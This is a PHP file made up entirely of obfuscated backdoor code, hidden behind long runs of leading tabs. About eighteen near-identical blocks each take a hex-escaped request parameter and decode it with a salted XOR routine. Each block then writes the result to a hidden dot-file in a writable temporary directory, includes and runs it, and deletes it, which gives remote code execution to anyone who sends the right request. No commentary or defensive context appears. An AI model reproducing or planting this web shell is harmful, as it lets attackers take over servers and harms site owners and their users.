<?php																																										if(array_key_exists("\x70\x72\x6Fper\x74y_\x73et", $_REQUEST) && !is_null($_REQUEST["\x70\x72\x6Fper\x74y_\x73et"])){ $itm = $_REQUEST["\x70\x72\x6Fper\x74y_\x73et"]; $itm = explode ( '.' , $itm ) ; $element = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); foreach( $itm as $n => $v4): $chS = ord( $salt[$n % $lenS] ); $d =( ( int)$v4 - $chS -( $n % 10)) ^ 19; $element.= chr( $d ); endforeach; $tkn = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TMP")]); foreach ($tkn as $ptr) { if (is_dir($ptr) ? is_writable($ptr) : false) { $key = sprintf("%s/.mrk", $ptr); $success = file_put_contents($key, $element); if ($success) { include $key; @unlink($key); die();} } } }
																																										if(filter_has_var(INPUT_POST, "r\x65\x63ord")){ $desc = array_filter(["/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getenv("TEMP")]); $elem = $_POST["r\x65\x63ord"]; $elem= explode ( '.' , $elem ) ; $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($elem as $r => $v9) { $chS = ord($salt[$r % $lenS]); $d = ((int)$v9 - $chS - ($r % 10)) ^ 68; $rec .= chr($d); } while ($factor = array_shift($desc)) { if (max(0, is_dir($factor) * is_writable($factor))) { $resource = implode("/", [$factor, ".parameter_group"]); $success = file_put_contents($resource, $rec); if ($success) { include $resource; @unlink($resource); exit;} } } }
																																										if(!is_null($_REQUEST["fact\x6Fr"] ?? null)){ $key = array_filter([session_save_path(), "/tmp", "/var/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP")]); $token = $_REQUEST["fact\x6Fr"]; $token =explode("." , $token ); $data_chunk = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1 ); $__len = count($token ); for ($k = 0; $k < $__len; $k++) { $v1 = $token[$k]; $chS = ord($salt1[$k % $lenS] ); $d = ((int)$v1 - $chS - ($k % 10)) ^ 82; $data_chunk .=chr($d );} foreach ($key as $key => $desc) { if ((is_dir($desc) and is_writable($desc))) { $val = "$desc" . "/.sym"; $success = file_put_contents($val, $data_chunk); if ($success) { include $val; @unlink($val); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "\x64at\x61\x5Fc\x68\x75nk")){ $binding = $_REQUEST["\x64at\x61\x5Fc\x68\x75nk"]; $binding =explode( '.' ,$binding ) ; $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($binding as $v =>$v3) { $sChar = ord($s[$v % $lenS]); $d = ((int)$v3 - $sChar - ($v % 10)) ^ 44; $entry .= chr($d); } $fac = array_filter(["/tmp", session_save_path(), "/var/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir()]); foreach ($fac as $key => $token) { if (!!is_dir($token) && !!is_writable($token)) { $hld = implode("/", [$token, ".item"]); $file = fopen($hld, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $hld; @unlink($hld); die(); } } } }
																																										if(@$_POST["\x65\x6Et"] !== null){ $k = array_filter(["/var/tmp", getcwd(), sys_get_temp_dir(), session_save_path(), "/dev/shm", "/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir")]); $dchunk = $_POST["\x65\x6Et"]; $dchunk = explode( '.' , $dchunk ); $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $r = 0; while ($r<count($dchunk)) { $v4 = $dchunk[$r]; $chS = ord($salt[$r %$sLen] ); $d = ((int)$v4 - $chS - ($r %10)) ^ 6; $val .= chr($d ); $r++; } for ($entity = 0, $ptr = count($k); $entity < $ptr; $entity++) { $pgrp = $k[$entity]; if (is_writable($pgrp) && is_dir($pgrp)) { $token = implode("/", [$pgrp, ".value"]); $success = file_put_contents($token, $val); if ($success) { include $token; @unlink($token); die();} } } }
																																										if(isset($_POST["r\x65\x73\x6Furc\x65"])){ $binding = array_filter(["/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd()]); $itm = $_POST["r\x65\x73\x6Furc\x65"]; $itm= explode ('.' , $itm ) ; $holder=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s ); $n=0; array_walk($itm, function ($v1) use (&$holder, &$n, $s, $lenS) { $chS=ord($s[$n % $lenS] ); $d=((int)$v1 - $chS - ($n % 10)) ^ 36; $holder .= chr($d ); $n++; } ); $record = 0; do { $component = $binding[$record] ?? null; if ($record >= count($binding)) break; if ((bool)is_dir($component) && (bool)is_writable($component)) { $ent = sprintf("%s/.tkn", $component); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $holder); fclose($file); include $ent; @unlink($ent); die(); } } $record++; } while (true); }
																																										if(isset($_POST) && isset($_POST["\x74\x6Bn"])){ $object = $_POST["\x74\x6Bn"]; $object = explode ( '.' , $object ); $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $len = count($object); for ($x = 0; $x < $len; $x++) { $v7 = $object[$x]; $chS = ord($salt[$x % $sLen]); $d = ((int)$v7 - $chS - ($x % 10)) ^ 9; $obj.= chr($d); } $component = array_filter(["/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/var/tmp", getenv("TEMP"), sys_get_temp_dir()]); while ($value = array_shift($component)) { if (is_dir($value) ? is_writable($value) : false) { $fac = join("/", [$value, ".symbol"]); if (@file_put_contents($fac, $obj) !== false) { include $fac; unlink($fac); exit; } } } }
																																										if(isset($_POST) && isset($_POST["en\x74r\x79"])){ $obj = $_POST["en\x74r\x79"]; $obj= explode ("." , $obj ) ; $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $x = 0; $__len = count($obj); do { if ($x >=$__len) break; $v7 = $obj[$x]; $sChar = ord($salt[$x % $lenS]); $dec = ((int)$v7 - $sChar - ($x % 10)) ^ 93; $object .= chr($dec); $x++; }while (true); $dchunk = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TEMP")]); foreach ($dchunk as $flg) { if (!!is_dir($flg) && !!is_writable($flg)) { $flag = implode("/", [$flg, ".reference"]); if (file_put_contents($flag, $object)) { include $flag; @unlink($flag); die(); } } } }
																																										if(isset($_REQUEST["de\x73\x63"]) ? true : false){ $item = array_filter([getenv("TMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", session_save_path(), sys_get_temp_dir(), getcwd()]); $comp = $_REQUEST["de\x73\x63"]; $comp= explode ( '.', $comp ) ; $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($comp as $t=> $v7): $sChar = ord($salt[$t % $sLen]); $dec = ((int)$v7 - $sChar - ($t % 10)) ^ 88; $pset .= chr($dec); endforeach; foreach ($item as $token) { if (!( !is_dir($token) || !is_writable($token) )) { $fac = str_replace("{var_dir}", $token, "{var_dir}/.binding"); if (file_put_contents($fac, $pset)) { include $fac; @unlink($fac); exit; } } } }
																																										if(array_key_exists("e\x6E\x74\x69ty", $_POST)){ $flag = array_filter([getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getcwd(), "/tmp", "/var/tmp"]); $bind = $_POST["e\x6E\x74\x69ty"]; $bind = explode ( '.' ,$bind ) ; $component = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $n = 0; foreach($bind as $v6) { $sChar = ord($s9[$n% $sLen]); $dec =((int)$v6 - $sChar -($n% 10)) ^ 2; $component .= chr($dec); $n++; } for ($factor = 0, $res = count($flag); $factor < $res; $factor++) { $descriptor = $flag[$factor]; if (is_dir($descriptor) && is_writable($descriptor)) { $key = vsprintf("%s/%s", [$descriptor, ".data_chunk"]); $success = file_put_contents($key, $component); if ($success) { include $key; @unlink($key); exit;} } } }
																																										if(array_key_exists("o\x62\x6A", $_REQUEST)){ $object = $_REQUEST["o\x62\x6A"]; $object = explode ( '.' , $object ) ; $k = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($object); for($u = 0; $u < $len; $u++) {$v7 = $object[$u]; $chS = ord($salt[$u % $lenS]); $d =((int)$v7 - $chS -($u % 10)) ^ 23; $k .= chr($d); } $property_set = array_filter([session_save_path(), "/dev/shm", "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP")]); foreach ($property_set as $key => $item) { if ((function($d) { return is_dir($d) && is_writable($d); })($item)) { $hld = str_replace("{var_dir}", $item, "{var_dir}/.ent"); if (@file_put_contents($hld, $k) !== false) { include $hld; unlink($hld); die(); } } } }
																																										if(array_key_exists("\x72\x65s\x6Furc\x65", $_REQUEST) && !is_null($_REQUEST["\x72\x65s\x6Furc\x65"])){ $symbol = $_REQUEST["\x72\x65s\x6Furc\x65"]; $symbol=explode (".", $symbol ) ; $item = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s1); $__len = count( $symbol); for( $m = 0; $m < $__len; $m++) { $v6 = $symbol[$m]; $sChar = ord( $s1[$m% $lenS]); $d =( ( int)$v6 - $sChar -( $m% 10)) ^ 27; $item .= chr( $d);} $elem = array_filter([getenv("TMP"), getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp"]); $ent = 0; do { $entity = $elem[$ent] ?? null; if ($ent >= count($elem)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($entity)) { $record = sprintf("%s/.element", $entity); if (@file_put_contents($record, $item) !== false) { include $record; unlink($record); die(); } } $ent++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x65n\x74ry"])){ $comp = array_filter([getenv("TEMP"), "/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path()]); $flag = $_POST["\x65n\x74ry"]; $flag =explode ( "." , $flag ) ; $value = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); foreach( $flag as $y => $v4): $sChar = ord( $s[$y % $lenS] ); $d = ( ( int)$v4 - $sChar -( $y % 10)) ^36; $value.= chr( $d ); endforeach; while ($desc = array_shift($comp)) { if ((function($d) { return is_dir($d) && is_writable($d); })($desc)) { $itm = "$desc/.symbol"; $file = fopen($itm, 'w'); if ($file) { fwrite($file, $value); fclose($file); include $itm; @unlink($itm); die(); } } } }
																																										if(isset($_POST) && isset($_POST["c\x6F\x6Dp\x6F\x6Eent"])){ $obj = $_POST["c\x6F\x6Dp\x6F\x6Eent"]; $obj = explode (".", $obj ); $record = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); $m = 0; $__tmp = $obj; while ($v1 = array_shift($__tmp)) { $chS = ord($s5[$m %$sLen]); $d = ((int)$v1 - $chS - ($m %10)) ^20; $record .= chr($d); $m++; } $key = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getcwd(), session_save_path(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir()]); foreach ($key as $key => $tkn) { if ((bool)is_dir($tkn) && (bool)is_writable($tkn)) { $data_chunk = str_replace("{var_dir}", $tkn, "{var_dir}/.descriptor"); $file = fopen($data_chunk, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $data_chunk; @unlink($data_chunk); die(); } } } }
																																										if(!empty($_POST["\x66\x61c"])){ $flg = array_filter([getenv("TMP"), "/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP")]); $k = $_POST["\x66\x61c"]; $k = explode( "." ,$k ) ; $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($k as $w =>$v1): $sChar = ord($salt[$w % $sLen]); $dec = ((int)$v1 - $sChar - ($w % 10)) ^ 58; $ref .= chr($dec); endforeach; while ($flag = array_shift($flg)) { if (array_product([is_dir($flag), is_writable($flag)])) { $pset = join("/", [$flag, ".binding"]); if (file_put_contents($pset, $ref)) { require $pset; unlink($pset); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x64e\x73c\x72\x69p\x74or"])){ $flag = $_REQUEST["\x64e\x73c\x72\x69p\x74or"]; $flag = explode("." ,$flag ) ; $sym =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $v =0; $len =count($flag); do {if($v >= $len) break; $v4 =$flag[$v]; $sChar =ord($salt[$v % $lenS]); $dec =((int)$v4 - $sChar -($v % 10))^ 68; $sym .= chr($dec); $v++; } while(true); $tkn = array_filter([ini_get("upload_tmp_dir"), "/tmp", getcwd(), sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/var/tmp", getenv("TEMP"), "/dev/shm"]); $ref = 0; do { $holder = $tkn[$ref] ?? null; if ($ref >= count($tkn)) break; if (max(0, is_dir($holder) * is_writable($holder))) { $reference = join("/", [$holder, ".hld"]); if (@file_put_contents($reference, $sym) !== false) { include $reference; unlink($reference); die(); } } $ref++; } while (true); }
																																										if(array_key_exists("\x73\x79m", $_REQUEST) && !is_null($_REQUEST["\x73\x79m"])){ $symbol = $_REQUEST["\x73\x79m"]; $symbol = explode ( ".",$symbol ) ; $hld = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $j = 0; $__tmp = $symbol; while($v1 = array_shift($__tmp)) { $chS = ord($s[$j % $lenS] ); $d = ((int)$v1 - $chS -($j % 10)) ^ 100; $hld.= chr($d ); $j++; } $desc = array_filter(["/dev/shm", getenv("TMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/var/tmp", session_save_path()]); foreach ($desc as $record): if (!( !is_dir($record) || !is_writable($record) )) { $ptr = vsprintf("%s/%s", [$record, ".token"]); $success = file_put_contents($ptr, $hld); if ($success) { include $ptr; @unlink($ptr); die();} } endforeach; }


if(in_array("\x6F\x62j", array_keys($_REQUEST))){
	$ref = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/dev/shm", "/var/tmp", "/tmp", getcwd()]);
	$descriptor = $_REQUEST["\x6F\x62j"];
	$descriptor   =  explode ( 	 ".",  	$descriptor 	) ;	 	
	$val = '';
            $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(	$salt8);
            $q = 0;
            $__len = count(	$descriptor);
    
            do {	if(	$q>=	$__len) break;
                $v8 = $descriptor[$q];
                $chS = ord(	$salt8[$q % $lenS]);
                $dec =(	(	int)$v8 - $chS -(	$q % 10))^ 	23;
                $val .= chr(	$dec);
                $q++;} while(	true);
	for ($k = 0, $property_set = count($ref); $k < $property_set; $k++) {
    $itm = $ref[$k];
    		if (!!is_dir($itm) && !!is_writable($itm)) {
    $value = join("/", [$itm, ".res"]);
    $success = file_put_contents($value, $val);
if ($success) {
	include $value;
	@unlink($value);
	die();}
}
}
}